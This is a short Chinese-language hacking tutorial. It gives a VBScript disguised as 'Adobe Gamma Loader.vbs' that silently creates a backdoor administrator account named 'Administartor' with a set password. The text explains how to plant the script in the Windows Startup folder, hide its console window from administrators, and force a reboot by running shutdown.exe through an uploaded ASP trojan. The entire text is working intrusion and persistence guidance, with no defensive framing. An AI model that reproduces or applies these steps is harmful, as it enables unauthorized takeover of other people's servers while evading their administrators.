脚本重命名为Adobe Gamma Loader.vbs,这样管理员不容易发现! 脚本内容: set wshshell=createobject (“wscript.shell” ) a=wshshell.run (“cmd.exe /c net user Administartor kaokao /add”,0) b=wshshell.run (“cmd.exe /c net localgroup Administrators Administartor /add”,0)
添加一个用户为Administartor密码为kaokao的具有管理员权限的帐号.把这个脚本上传传到c:\Documents and Settings\All Users\「开始」菜单\程序\启动\ 呵呵为什么要vbs脚本呢?
原因很简单,就是不让管理员看见那个跳出来的黑黑的dos窗口。 现在我们想办法让对方机器重启动!
用asp木马上传一个shutdown.exe 然后执行shutdown.exe 127.0.0.1 /r
